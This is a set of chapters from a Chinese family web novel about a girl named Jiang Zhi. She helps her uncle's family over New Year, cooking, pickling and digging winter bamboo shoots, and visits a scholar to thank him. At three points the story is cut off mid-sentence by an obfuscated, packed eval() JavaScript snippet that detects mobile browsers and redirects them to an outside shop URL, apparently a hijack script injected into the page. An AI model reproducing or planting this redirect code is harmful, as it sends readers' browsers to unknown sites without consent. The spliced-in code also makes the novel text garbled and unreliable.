这不舅舅刚想破开，就听见了舅妈满是告诫意味的咳嗽声，姜织余光扫了扫舅舅惊变的脸色，内心里有些涩然的好笑。 舅母廖氏见姜织竟破天荒地将手里的吃食分给了花树吃，面色不由缓和了些。 表哥林柏茂觉察出尴尬来，站起身来招呼：“姑母，吃饭了，织织绪儿难得来，别见外。” 舅母廖氏盯了林移山一眼，将饭食摆上桌，顺势将黄糖和炸果子撤下收了起来，也没给小的们再分。 “娘，”表姐林花树瘪了瘪嘴巴，失望地低唤一声，舅舅面色讪讪，却连头都不敢抬。 菜就是林移桃带来的半边鱼。几瓢井水入锅，扔几段嫩姜，用小火慢煨，熬出一大锅乳白鱼汤，汤色奶白，鲜甜咸香，配上碗焯过水的干咸菜，便叫一家人各个吃的肚皮滚圆，直呼太好吃了。 这就是过年，亲友团聚，吃着平日舍不得的美味，其乐融融。 吃完饭天刚泛黑，姜织就已经困得眼皮子打架。她的伤还没好全，来时又走了远路，又累又冷。尽管眼皮都睁不开，她还是强打起精神，撑着帮舅母洗净了碗筷，涮了锅灶，清扫里屋，还端着盆来倒了热水，给外翁和阿婆擦手洗脸。 “一年不见，织织长高了不少，也懂事了，”外翁林焦堂开口夸她。 她外翁患了腿疾多年，平素走路得拄着拐棍，衣食住行多依赖舅舅舅母照料，也因此常年窝坐在灶边角落里做零活，一向沉闷寡言，生怕多嘴惹儿孙不喜，这是自姜织进门来，听到外翁说的第一句话。 “是懂事了，”林移桃跟着叹了一句，似是想起前几日的事，目光闪了闪，又低头停了话。 廖氏自然听说这外甥女前阵子闹出的风风雨雨，林移山回来自然是能瞒则瞒，可姜织闹出的那番动静怎是能瞒得住的！风言风语都传到林岭村来了。 这外甥女，不但懂事了，还长本事了！廖氏想开口刺几句，但顾念着小姑子一家刚回门，到了嘴边的话又强咽了回去。 10. 腌菜 晚上入寝时，姜家母子被安置在侧间。细心的姜绪还惦记着姐姐的伤，林移桃揭开她的帽子瞧了瞧，撞破的伤口已经结了层厚厚的硬痂，红肿也消了大半，只有边缘有些暗沉。林移桃心里不踏实，外伤无碍了，就担心女儿伤了内里，去灶台倒了开水来给她喝，暖暖身子也好睡觉。 到了后半夜，姜织是被咳嗽声吵醒的。侧耳一听，原是舅母廖氏染了些风寒，那咳嗽声又干又哑，一阵连着一阵。 冬日寒冷，众人都睡得半迷不醒的，姜织觉着自己头晕轻了些，便轻手慢脚地摸着衣衫穿了，起身走到正房旁，站在门边问：“舅母，我给您烧些热水来润润喉吧？” 廖氏正咳得难受，闻言有些惊讶：“织丫头，你怎的起了？” 姜织轻声回：“听您咳得急，喝些水压一压会好些的。”说着便去柴房灶台烧水。 舅舅家门口就有棵枇杷树，这时节叶子虽枯黄了，可老叶止咳的效力反而更足。 姜织拢了拢衣裳，开门去摘枇杷叶子。就着柴火微光，细细搓了枇杷叶背的绒毛洗净，撕成几片放在锅子里蒸煮，待水滚了，舀出一碗棕褐的汤水，端到正房门前，将枇杷水吹冷一些，待温热了才半撑着舅母的身子，服侍着她喝下。 这些动作，竟做得又顺又熟，喂完舅母喝了水，还帮着轻轻拍了拍后背。 廖氏喝了热水，喉咙间的干痒果然缓了些，心头难免有些感动，她也是想夸姜织两句，但嘴巴一贯说话不对味：“你这丫头，一年不见竟跟变了个人似的，脱胎换骨了。” 姜织身子不由僵了一瞬，她扶着舅母躺下，柔声道：“舅母一向照拂我家不少，我娘也时常念叨着，说您辛苦不易，这些不过是小事，该我这个小辈做的。” 廖氏心间的感慨便多了起来。果然没爹的孩子懂事早，花树比织织儿还大几个月，这时正在旁边睡得雷打不醒的，娘老子咳破天也没见关心一句，更别提大寒夜起床烧水了。 次日醒来，廖氏发觉嗓子松快多了。想起昨夜那碗水，她踱到灶边掀开锅盖一看，里头竟漂着几片枯叶子，顿时嚷起来：“哎哟喂！织丫头，这锅里怎的进了树叶？别不干净喝了闹肚子！” 姜织失笑，她舅母就是这样的性子，舌头上长了倒刺似的，一句好话到了她嘴里都要烂三分。 “不是脏叶子，”姜织耐着性子解释：“是枇杷叶，熬了水止咳的，前阵子我和绪儿着了凉，村里婶子教的土法子，我俩喝着挺管用，才给您煮的。” “哎呀，那敢情好！”廖氏喜不自禁：“枇杷叶我家里要多少有多少，原来还有这样的妙处，”她拂拂胸口，又感觉咳嗽好像强了好些，便又把昨夜的事告诉了林移山他们，难得开口夸了姜织好几句。 初三一早，清晨天刚冒白，姜织就带着弟弟就起床了。 姜织打头烧水煮食，姜绪帮着洒扫庭除、擦洗桌椅，样样不用喊就做得干净利落， 这大冬天，井台边结着厚冰，花树松茂还在闹床，喊都喊不起，姜织姐弟已经打了水回来烧好了。先供早起的舅舅舅母洗漱，再端到外祖床前，递上温热的帕子，将两老伺候得舒舒服服。 廖氏冷眼看着，心里头百味杂陈。 她从前对这小姑子林移桃一家，实在谈不上多热络。 廖氏自己也是苦水里泡大的，娘家穷得叮当响，偏爹娘眼里只有那个传宗接代的弟弟。她是长姐，底下另还有两个妹妹，她在家里的地位，真真连拉磨的驴都不如，驴累了还能歇歇。她做姑娘时，往往是从天不亮忙到深更半夜，哪里惹着弟弟妹妹不痛快，爹娘伸手就打、开口就骂赔钱货。 嫁到林家来，一是看上林家家底还算殷实，给了五两银子做彩礼，那钱当然被她爹娘全数扣下了，她的嫁妆就只有一个包袱，包了些烂布衣裳，林家也没嫌弃。二是看中林家人丁简单，公婆加一个小姑子，小姑子过两年就要外嫁了，比自家鸡飞狗跳得不知强了多远。 谁知过门后才晓得，人比人，气死人。 在娘家，什么好的都紧着弟弟，那是男娃，传宗接代的根！而在林家，却是事事以小姑子为先。她公婆常把妹妹还小挂在嘴边，林移山也时常拿“姑娘家在娘家还能待几年？更加要费心好生养着”当借口搪塞她。 小姑子当年才十四五岁，生得杏脸桃腮，长得如花似玉，真跟那三月里的桃花似的。被养得羸弱又矫情，娇小姐似的十指不沾阳春水，吃饭要□□米白面，穿衣要穿细棉软布，家里但凡有点好的，都先紧着她。 就算后来公公身子败了，家里日子越发难了起来。小姑子随意挑了个人家嫁了，嫁到茶和山，那姜顺时家穷，却是个会疼人的。年年三节两寿，不是捎肉就是带糖，时不时还有蜜饯果子、白米酒送来。 论家世论外貌论福气，廖氏样样比起来都被踩在脚底心，腰杆在小姑子面前就从没真正挺直过。 直到小姑子那男人短命，好好一个人说没就没。廖氏惋惜同情之余，心底竟莫名地冒出一丝微弱的、卑劣的释然。 她心想，一个人的命哪能时时好，就因为长得好，前半生万事不愁地享福，果然福气不能太满，这不就一下子就断了运道，后半生就有得苦吃。 自打男人没了，小姑子确实肉眼可见地变了。一个寡妇拖着四个孩子，没被生吞活剥就很是难得了。林移山更是三天两头往茶和山跑，春耕要去帮着插秧，夏忙要去帮着锄地，秋收更得赶着抢收...... 廖氏虽也同情小姑子，但心里多少有些介怀，最忙的时候自家男人见不到人，自己的家不要了？成天就顾着妹妹家。但她才抱怨了一次，一向老实巴交的林移山却沉了脸，一句话便让廖氏住了嘴。 “妹夫没了，我再不去给妹妹撑腰，茶和山那些人就能把她给磋磨死。你是要让我眼睁睁看着妹妹家那四个孩子跟着没了，还是都接过来，放到林家养？” 廖氏想想就心惊。姜家那一窝猪仔似的孩儿，接到林家来，还不得把这本就紧巴的家给吃垮了？ 后头林移山再去茶和山，她也只得睁一眼闭一只眼。 人心终究是肉长的。这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16956518|193146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些年小姑子的变化，她看在眼里。如今连这小外甥女都像脱胎换骨，可见那茶和山真是吃人不吐骨头的地界。 至于对门老徐头家的传的那些闲话，说什么外甥女魔怔了、女土匪似的、喊打喊杀之类流言，廖氏心里啐了一口，下回再碰上谁嚼舌根，非骂回去不可！ 简单的早饭后，廖氏在檐下翻腌菜坛子，发现好几把酸菜生了白醭，就不免怒火腾起。手边心疼地把坏菜拣出来，嘴上骂不停花树和松茂两个贼崽子，一天到晚想着偷菜吃，把坛子掀开进了生风生水，害她的菜都坏了几把。 要是从前，舅母一发火，连她的亲女亲儿都骂的狠，姜织姐弟只有避得远远的份儿，免得凑上去挨软刀子白眼，偏如今姜织怕什么就不怕挨骂，便细声细语上前，跟廖氏说起腌菜的一套经。 寻常人家腌菜，不过几把粗盐一坛水，塞进土陶坛里盖严实，等吃时再掀。腌的时候久了，掀坛盖不注意进了脏水，容易豁风生白醭，发黑变软也是常事。 可若腌制得法、存放得当，腌菜就能从年头吃到年尾，还能爽脆可口，酸辣开胃。 舅母的这坛酸菜生了些白醭，但好在并不严重，姜织边帮她清洗酸菜，一边劝慰她：“年前我家里的酸菜也发霉了，特地去问了村里的许老娘，她家里的坛子菜能吃几年，她告诉我一个法子，说是往盐水里兑些子烈酒、丢几瓣大蒜，能消白花，不如舅母试试，我家里试过还挺管用。” 廖氏死马当作活马医，到底去隔壁讨了半杯白酒来，照着姜织说的兑进坛里。姜织又和她闲聊，说起腌菜的门道，哪些菜不能混作一处腌，腌菜的盐水要如何调制，别人家的酸菜好吃，是因为鲜菜的处理、切菜的刀工、装坛的方法，都有秘方说法在。 像豇豆、萝卜皮、白菜梗这些，最好先晾得七分干再入水；莴笋、竹荪、芋头这些不能生食的，放在烧沸的盐水中氽过再泡，而腌制的盐水可以按照口味调，用白酒或者醪糟水起香，放些蒜蓉、红糖提味，不仅味道好，还能放得久。 姜织说话不紧不慢，有条有理，廖氏嘴里虽不以为然，嚷嚷腌个菜哪有那么多讲究，但其实心里早就心动了八分。 姜织又说，不止腌菜，其他干菜也能这般存，晒干水分，用坛子密封，能从开春吃到立夏，农忙时节都不愁没菜下饭。 廖氏不由想起年前炸的那筐油豆腐，因是费油的好菜，平日舍不得吃。冬日还好，一到开春容易返潮发霉，味道就差了。她试探着问：“那油豆腐，也能这么腌么？” “当然能，”姜织笑道，“腌得好，吃到年尾都没问题呢。” 说着就索性找了个坛子洗干净，帮着廖氏把油豆腐腌上了。廖氏心里一舒坦，顺手就捞了几片油豆腐出来晌午炒菜。 可光有豆腐哪够？又听说姜犁和姜纭待会儿也要来，鬼使神差地，她竟把自家养了一年、看得比命根子还重的芦花鸡给宰了。 毕竟这一大家子，老的老小的小，十几口人张嘴要吃饭呢。 宰了那头芦花鸡，廖氏心头在滴血。 11. 冬笋 廖氏手上飞快拔着鸡毛，脸上尽是痛心疾首状。 一只芦花鸡直挺挺躺在木盆里，滚水一烫，浑身冒着热气，轻松一撅就能露出白肉来。 廖氏拧着眉半眯着眼在盆里忙活，那眼不知是给白腾腾的热气给熏得，还是心疼得睁不开..... 姜织在一旁打下手，颇有些受宠若惊，看舅母那脸色，心说其实不杀鸡也可以...... 但方才没来得及反应，听舅母嘀咕了两声“这么多崽子！得多少菜吃”，便吩咐她去拿海碗打半碗水。 水一端来，只见舅母一手擒着只垂死挣扎的大母鸡，一手提着把明晃晃的菜刀。麻利地将鸡脖子毛撅了几把，手起刀落，那鸡脖上的血就滋啦喷涌溅了一海碗。 “端稳！端稳啊织丫头！” 姜织许多年没干过这活计了，一时间有点傻眼，那鸡也是心有不甘，仍在翅腿并动地玩命挣扎，舅母见那溅出来的鸡血有些落在地上，顿时痛心地连声哎哎！ 姜织定了定神，双手稳稳托了海碗去接。直到鸡血沥尽，再无半滴落下，舅母才松口气舀了滚水来烫，脸上那痛惜的表情，从鸡血落地那刻起就没消减过。 姜织小心翼翼加快手上的动作，也不敢多说半句刺激她。 正拾掇着鸡，大哥姜犁带着姜纭就来了。林家老两口自是更加欢喜，满面喜色问长问短，多是关切姜纭和那落雁村李家那桩亲事的进展。 姜犁只说那李家童生李文远年节都在一心苦读，他与妹妹去拜年，帮着张罗了些琐碎事务，也不敢多扰，毕竟眼看府试在即，没的说些旁的乱他心智。 老两口听罢，只有点头的份，没再多问，读书人的事情他们不懂，也不好多说。 晌午饭摆上桌，一大家子人被满桌香味香迷糊了。 一盆酸菜炖着油豆腐血旺，热气腾腾泛着油花，酸咸的香气混着血旺的嫩滑，勾得人直吞口水。旁边更是摆着一大盆重头菜，油豆腐炖母鸡。那鸡肉每一块都连着黄澄澄的鸡皮，鸡油浮在汤面上，撒了些青翠的葱花，油豆腐吸饱了鸡汤，软嫩水陶，香气直往人鼻子里钻。 “今年过年真是....丰盛，”林移山吸了吸鼻子，看着廖氏的脸色，底气不足地夸了句。 廖氏头也不抬，粗声道：“吃你的！话那么多！” 说罢一筷子夹了块血旺塞进嘴里。酸菜炖血旺也是姜织提议的，那血旺嫩得像豆腐脑，混着酸菜的咸鲜在舌尖化开，格外的好吃。 姜织笑着给外翁阿婆夹了几块鸡肉，心里热乎乎。在她印象里，舅母一向凶悍难说话，但此番一看，竟是最嘴硬心软不过。 一家人如若一直能这样，那该有多好。 林花树吃得满嘴油光，却停不下话头。一边不怕烫地使劲吃，一边含糊道：“织织儿，你索性在我家多玩几天啊。” 大人们均诧异地看她一眼。 以往姜织姐弟几个一来，不到一晌午，花树就巴不得他们赶紧走，两个表姐妹年纪相仿，什么都要争个高下，比吃比喝比相貌，连谁长得高了些也要拌上几嘴。 可今年不同了，姜织姐弟来了便埋头帮她娘干活，挑水洗碗扫地，样样做得妥帖。有她姐弟在，林花树反倒清闲下来，娘亲还肯杀鸡吃。 林花树简直巴不得小姑一家能多住几天，家里可还有两只鸡呢！ 吃过晌午饭，日头正好。姜织拎了把锄头，准备去后山竹林转悠转悠。 跟大人说了声，背着篓子带上姜绪就要出门，小萝卜头林松茂在家闲得发慌，见状也蹦蹦跳跳跟了过来。 姜织记得，舅舅家在东山有片小竹林。一到春天，竹笋接二连三的冒出头，春笋长得速度极快，出土、破壳、抽条也不过几天工夫，稍稍晚一会儿就成了硬竹子，吃不得了，不及时挖了，根还会长到别人家地里去。舅舅家春日笋子多得吃不完，三不五时就要送些到茶和山来给她家尝鲜。 笋子好吃，人言“尝鲜无不道春笋”，但实际上，冬笋才是稀罕物。 稀罕东西往往就难找，姜织低着头在竹林里转悠了半天，林松茂都不耐烦要回去了，山里又冻又冷，什么野果子都没有，林松茂皱巴着小脸抱怨：“织织表姐，这里有什么好玩的？什么都没有！要说找笋子，那也要等到天气暖和些，笋子才长得出来呀！” 姜织正俯身仔细查看竹子根部的走势，没来得及回他，姜绪嫌他太吵，语气也不高兴：“早说了不好玩的，你偏要跟来！” 林松茂肯叫姜织“表姐”，是因为这几天姜织待他极好，处处照顾得细心妥当，姜织煮的饭食味道比娘亲做的好多了，还会给他擦脸洗手，但姜绪才比他大了不到一岁，男孩儿不愿服输，从来也不肯叫姜绪一声表哥，直接就喊。 “姜绪你凶什么啊？你跟得，我怎么就跟不得？” 姜绪瞪他，难得孩子气十足，嘴里小声嘀咕：“这是我姐姐，又不是你姐姐！” 林松茂是家里最小的孙子，脾气本就顽，他见姜绪竟敢凶他，当即就要跟他犟起来。 “哎别争啦，”姜织适时打断他们：“看看这是什么？” 只见等她几锄头挖下去，泥土里神迹般冒出一茬接一茬圆滚滚、尖尖嘴的东西，外头裹着厚厚的黄褐色皮壳，分明就是笋子的模样！ 冬天竟然也能挖出笋？姜绪和林松茂两个小家伙都惊得合不拢嘴。 “哇！”林松茂瞪大眼睛：“织织表姐，这这是什么？怎么挖出来的？” 姜绪同样很是惊讶，他也想问姐姐，但又不肯做出林松茂那般大惊小怪的样子，只抿着嘴，眼睛亮晶晶地看着姜织。 姜织一边埋头继续挖，一边不经意解释：“挖冬笋，首先要选好竹根，选两年到四年生的竹子，竹节稍有白毛，竹竿青翠，竹叶泛着微微黄的那种，就照着土肉松厚的地方挖”。 “再就是找竹鞭，”她喘了口气，用锄头指点着地面：“看竹子根的走势、枝丫走向，第一枝丫方向就是竹鞭的走向，找出露面的竹鞭，顺着它往土里挖，有些笋子长得时节不对，成不了春笋，也长不成竹子，就会烂在地里，变成死笋眼，顺着这些死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16956519|193146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孔，就能找出竹鞭。 “你们看，”她说着，她说着，用力翻开一大块泥土，深挖下去，“顺着竹鞭往下，冬笋便在这儿了。” 泥土中果然又露出几株圆墩墩、胖乎乎的笋子。 林松茂高兴极了，他其实没听懂要怎么找，只要有收获就够了，冬日成天吃些干腌菜，能有鲜竹笋吃简直天大的好事。 姜绪在一旁倒听得仔细，他想帮姐姐挖笋，可姜织见他小胳膊小腿，怕他撬不动土反砸到自己脚背，只叫他和松茂一起捡。 姜绪不看林松茂，自个儿背着小手，认认真真四处查看，他本就聪慧，一点就通，竟真帮着找到了好几处竹鞭走向。 直到傍晚，三人收获颇丰，背着一大篓子冬笋回了家。 远远地，林松茂就开始喊：“娘快来看，有好东西！” 看到那一筐笋子，家里几个大人都惊了一跳，听他们说了来历，廖氏既高兴，又不免担心：“你将我家的笋子冬天就挖完了，那入了春岂不是没多少可长了？” 她越想越觉得不对，转瞬就变了脸色，不客气地责怪道：“织丫头你这也太胡闹了！这不就跟地瓜还没长成你就挖了，桃子刚成形你就摘了一个道理，为了冬天尝口鲜，断了春日的口粮，这怎么能行！” “不不，舅妈，这跟那个不一样，”姜织连忙解释：“您看您家种的瓜，南瓜也好，冬瓜也罢，藤蔓太密了，是不是要打蔓整枝，瓜才长得好？” “冬笋也是这样的，一根竹鞭上长得笋子太密了，待来年开春，春笋冒出头，冬笋还埋在地底下，吃了土的肥力，反而长不好。” 廖氏被她说得有点愣，心里一咂摸，好像这么说也有两分道理。 “再有就是，有些冬笋不挖，就会烂在土里，反倒浪费了，”姜织从筐子里翻出几株给廖氏看，确实有两株笋头已经捂黑了。 “是这个理，”坐在角落里外翁突然开口，声音低哑，慢声道：“我听人说，九前冬笋逢春烂，九后冬笋清明旺，一些笋子捂在土里发烂，就是你们不晓得怎么挖。” 外翁林焦堂是个半路出家的篾匠，跟竹子打了半辈子交道。他说的话有几分可信，廖氏半信半疑，但还是叮嘱姜织不许再去挖了，说若是明年开春她家笋长得不好，你娘林移桃可赔不起。 姜织乖乖应下，晚上择了笋炒了两盘好菜，那味道，鲜得能叫人咬掉舌头！ 林移山和松茂吃得停不下嘴，直说冬笋好吃，明儿还要炒这道菜，外翁两老也夸姜织聪慧手巧，林移桃更是高兴地弯着嘴没下来过。廖氏虽也觉得鲜笋美味，但越琢磨心里就越发不得劲儿。 她看看自家花树，又看看姜织，终于察觉出哪里不对来。 明明去年来时，姜织还是个屁都不懂的黄毛丫头，为了跟花树争口吃的，差点打起来。 这才过了一年，区别也太大了。乍看一眼，花树竟更像妹妹，完全比不过织丫头啊！ 姜织挖这冬笋，其实还另有深意，她是想寻个新鲜玩意，方便送到城里，去给姜文贤拜年。 12. 龙须酥 姜织私下和她娘商量。 林移桃却顾虑重重，并非不愿给姜文贤拜年，而是畏怯。 一是怕被说攀附，人家是读书人家，跟自家又没多少亲缘，贸然前去，像是要巴结人家做什么似的。二是怕失了礼数，大过年前去，她家也送不起像样的年礼，据说城里人家拜年还兴给压岁钱，几个孩子去了，到头来要人家破费，怎生是好？ 当然最主要还是担心落不着好脸，人贤叔的妻儿都是城里人，听村里人说过，很是瞧不起茶和山去的穷亲戚，从来没个好脸色的。 连柳婶儿一家都不敢去城里给姜文贤拜年，何况旁人呢。 但姜织说无妨，只是聊表敬意而已，问心无愧。 她心中一直疑虑，姜文贤那日怎会当众站出来为她家说话呢？是路过随口说几句，还是读书人的正气使然，或是看不惯姜永贵的横行霸道？ 都不像。 这么多年，茶和山大大小小的事不断，村里人争执斗气时有发生，姜文贤从不过问半句。 姜织问：“娘，咱们家跟姜文贤贤叔以往有过交情吗？” “没有啊，”林移桃摇头，“虽跟柳婶儿是上下屋，但你贤叔常年不在家，见面都少。再说他是读书人，咱们哪能攀得上关系呢。” “那他那日怎么会帮姐姐？”姜绪也好奇。 “这我也纳闷，”林移桃凝眉：“我听柳婶儿偶尔有抱怨，说他连他家银花银元都不怎么关心在意，那天肯给咱们说话，连柳婶儿都惊奇呢！” “可哪有无缘无故的事？”姜织想了片刻，猜测道：“他或许从前欠了我家情？不是说当年他读书时日子艰苦，咱们家借过粮给他？” “那算什么事，村里借过粮的不止我们一家，后头他都双倍还回来了。再说村上村下的，谁家断粮了帮一把，都是应当的，何况他是读书郎，有出息了咱村也跟着沾光，算不得什么欠情。” “若要说什么别人没有帮过，只有咱家帮了一把的......”林移桃使劲回想，还真叫她想起了一桩事。 *** 青麓书院位于平江县城西郊。从官道岔出去一条碎石路，走二里山路，过一座小山坡再往前，途经一溪皖水分支，再往前，一片依山傍水的缓坡上，赫然是一连片白墙灰瓦的屋舍。 姜织姐弟四人气喘吁吁走到书院前。 只见苍松翠柏之间，一条青石板路蜿蜒而上，通向高处那扇半开的朱漆木门。正门不大，两扇阖死的厚重松木门，门楣上悬着黑底金字的匾额，上书四个沉静有力的大字：“青麓书院”。 学子都回家过年去了，书院连门都没有开。 一时间姐弟几个均呆滞当场。 还是姜织壮着胆子前去拍门。好在门房有人回应，听说是夫子姜文贤的老乡，特地来拜年的，那门房有些狐疑地打量了姜织几眼。 姜织笑着鞠了一躬：“还请代为通传。” 到底伸手不打笑脸人，何况还是年节，门房很快跑去询问。 不一会儿，姜文贤匆匆走了出来，见是姜织姐弟，眉宇间正有些疑惑。姜织连福身笑声恭贺：“贤叔，新年吉庆，阖家康宁！” 姜绪也快声接嘴：“贤叔，给您拜年啦！” 姜犁姜纭也连忙鞠躬道福，姜文贤见是几个半大不小的晚辈，回了几声吉祥话，客气地将人请进了家。 姜文贤和妻女住在书院斋舍。因大多师生都回家了，院落间显得很是冷清。很快到了姜文贤家的一隅小院，姜文贤沏了热茶，又布上十般糖、龙须酥等果碟来待客，招呼孩子们吃点心。 两边本就不熟络，坐下来也没太多家常可叙。姜文贤问了几句姜织姐弟的年岁，感慨了几句年岁不饶人，便也无甚话可说，至于孩子们这边，姜犁和姜纭拘谨得只敢挨着凳子边坐，更找不出话头。 姜织说了来意，是为感谢贤叔上次大恩，如若不是他，那日还不知道要如何收场。 姜文贤摆摆手：“我常年不在家，不过是路过讲句公道话，不必在意，”他顿了顿又问：“是你们娘，或是其他村人叫你们来拜年的？” 姜织连忙摆手，“不是不是，此番前来只为感谢贤叔。” 说罢又郑重地鞠了一躬，随后将手边的两个布包，一袋冬笋、一袋糍粑放到桌案上，说是家里只有这些山野东西，给贤叔尝个鲜，说完就要告辞了。 姜贤文哪里肯收，连声叫他们带回去。纵然离乡多年，他也是知道姜织家光景的，一路追出来让他们带回去。 姜织一路推却，直至走到书院山门，姜文贤仍是不肯收，姜织一再强调：“贤叔，此番来不为其他，只为感谢阿叔当日仗义执言，仅此而已。” 老门房探头出来好奇张望。姜文贤颇有些无奈，叹口气：“你家多磨难，孩子几个倒是有骨气、有出息的，想必今后日子只会越来越好。” 姜织再鞠一躬，转身就疾步离开了。 人走远后，那门房关切地问了句：“姜夫子，无事吧？” 姜文贤看着那四个清瘦的半大孩子背影，眼中若有所思，摇了摇头。 回去路上，姜绪到底人小，忍不住说：“这书院真真气派。” “那里头的读书人，将来说不定都能当上官老爷呢，”姜犁开口：“书院定要修气派些，那句话怎么说来着，地灵，人杰。” “那李家文远哥哥也是在这里念书？”姜绪又问。 姜纭一无所知，摇了摇头，倒是姜犁思索了一瞬：“应当是吧！” 姜织耳听哥哥这样说，又见姐姐懵懂无状的样子，顿时蹙了眉：“姐姐，那李生在哪里读书都没有与你细说吗？” 姜纭有些羞涩道：“只听说在城里读书，哪里好详细问呢？只知他是上进的，在家也手不离书。” 姜织皱了皱眉头，对姐姐这“亲事”越发不满意。 “他们还说贤叔最瞧不起村里人，”走了一会儿路，姜绪没了局促，有些兴奋：“我看未必呢，他还拿糖给我们吃！” 说罢他将手从袖口里掏了掏，脸上满是自得的笑，两枚龙须酥躺在他小小的手心。 那糖细丝千缠万缕，根根分明，又虚虚地拢作一团，酥团表面裹着豆粉，又铺了层薄薄的糖霜，在光下泛着莹润的米白色，有股裹着芝麻仁的焦香漫出，光闻着就极为香甜。 姜绪盯着这从未见过的糖酥看了又看，口水吞了又吞。 “小弟！”姜犁一看，霎时却落了脸：“你怎能真拿贤叔家的糖？！” “没，没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16956520|193146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有呀，”姜织连忙摇头：“不是我拿的，是方才贤叔递给我的，你问二姐，她看着的，我说了不要....” 他越说声音越低，只余下小小声：“我闻着太香了，想带回去给娘尝尝.....” 姜织没由来一阵心酸，揉了揉弟弟的头，轻声说：“算了。” 她想说些鼓励弟弟的话，但此时说什么都显得无力。 她想起昨夜她娘细声说起姜文贤家的往事。 要说姜文贤如今为何待姜氏一族冷言冷色，林移桃想了想，根源还是在于他娘何七娘身上。 何七娘当年能抚养姜文贤读书，村里人嘴碎说她跪遍了全村上下的门槛，倒也不夸张。 姜文贤的爹是给族里挖山时给砸死的，当时赔了些银子，前任族长又承诺照顾他家妻儿，因此何七娘才有底气继续送姜文贤念书。 谁知老族长一死，姜克从被推举为新族长，清了账后，说族里亏空太多，已经供不起何七娘家了。 何七娘无法，只能靠纺麻线、搓蓑衣、缝补衣鞋.....鸡零狗碎的钱一分分地挣，但还是不够。 就只有跪在村邻门口借。 姜文贤见到过几次，都红着眼说不念书了，但次次都被何七娘打回了学堂。 林移桃至今记得那一晚。 那年的秋雨下得邪性，从秋收后落到入冬，都没个停的意思。 茶和山的土路成了烂泥塘，屋前屋后沟渠哗啦啦的排水没歇声，排不完雨水泡得土屋墙根发软，姜顺时总担心房塌，时不时就出门用锄头勾一勾积水，冒着雨爬上屋顶去修补滴漏。 他修完自家的，就想起何七娘前阵子说她家也有几处漏得厉害，托付他得空去修一修。 近几日总不见何七娘出门，姜顺时在外头喊了几声，也不见应声，他怕出事，便叫林移桃进屋去瞧瞧。 林移桃进屋的时候，尽管严严实实捂着脸，仍被熏得喘不过气来。何七娘的住房在最里头，还没走到门口，就闻到一股冲鼻的气味，像是血腥味，又像尿臭味、霉烂味.... 隐约可见何七娘缩在床里头，怎么喊都不应。 林移桃心一慌，猜想何七娘莫不是出事了，连忙去叫族长族老等人来看。 族长当时没过来，只吩咐人去叫郎中，又喊人去学堂叫姜文贤回来。 郎中来了之后，也是远远地在门口看了一眼，出来就摇摇头，说上回何七娘找过他了，说咳了小半年了，只怕是得了肺痨病，没得救了。 这句话一出口，众人当即变了脸色，族长率先出了房屋。 “等文贤回来处理后事吧，”他说了句便走了。 姜文贤连夜赶回来，才发现他娘已经咽气多时了。 因着郎中说痨病，族里其他人都不敢靠得太近，只在远处化了些纸拜了拜。 林移桃夫妻壮着胆子到下屋去祭拜，才知晓何七娘竟连口薄棺都没有。姜顺时一向是热心人，便拆了自家杉木门板，给何七娘钉了口薄棺。 “哎，”林移桃说到这里，叹了一口大气：“其实我后来也后悔过，不该借给他家的。” “为什么？”姜织听得正入神，听她娘这么说，惊得背后一阵抖栗。 “不祥，”林移桃说。 13. 黄糖 林移桃那句“不祥”说完，叹口气便不再言语。姜织满肚子疑问，到底咽了回去。 若她还是懵懂年纪，定要扯着娘的袖子刨根问底，如今她听得懂话外音。 姜织小时，听得最多的便是这些神神鬼鬼。 在村里头，日头落了西就闲了下来。舍不得点灯耗油，族邻上下天热就聚在老槐树下，天冷就挤在哪家灶膛边，话头比野草还杂，从东家的鸡西家的狗，一路扯到有鼻子有眼的鬼鬼神神。 有一桩，姜织记得深，族里的十爷爷总爱说：人这一辈子，一看命，二看运。 “命是天定的，八字轻重，落地那刻就钉死了。” 譬如姜文贤，虽说他不记恩义，但村里人嚼起他家事来总津津有味，说他是“七两半的命，秤砣都压不住”，注定要享福，吃笔杆子饭。 同他做对比的是下村的一户人家，似是叫石长亭，当年还是他领姜文贤去开的蒙，同期的童生，那人命轻，读书读不出，把家读得四壁透风，最后人也落个半疯。 十爷爷总会补一句：“命之外，还有运”。 这说法就更玄了。有句老话说：“命好不敌运蹇，瓦片也能砸死人，”意思是本是好命，若运道背了，或是造了孽、改了运，好命也能活成歹样。 就像她爹姜顺时。 算命的曾说他是八两的命，比姜文贤还沉几钱。可运道不好，修屋顶时一阵邪风，脚下一滑，人就这么没了。 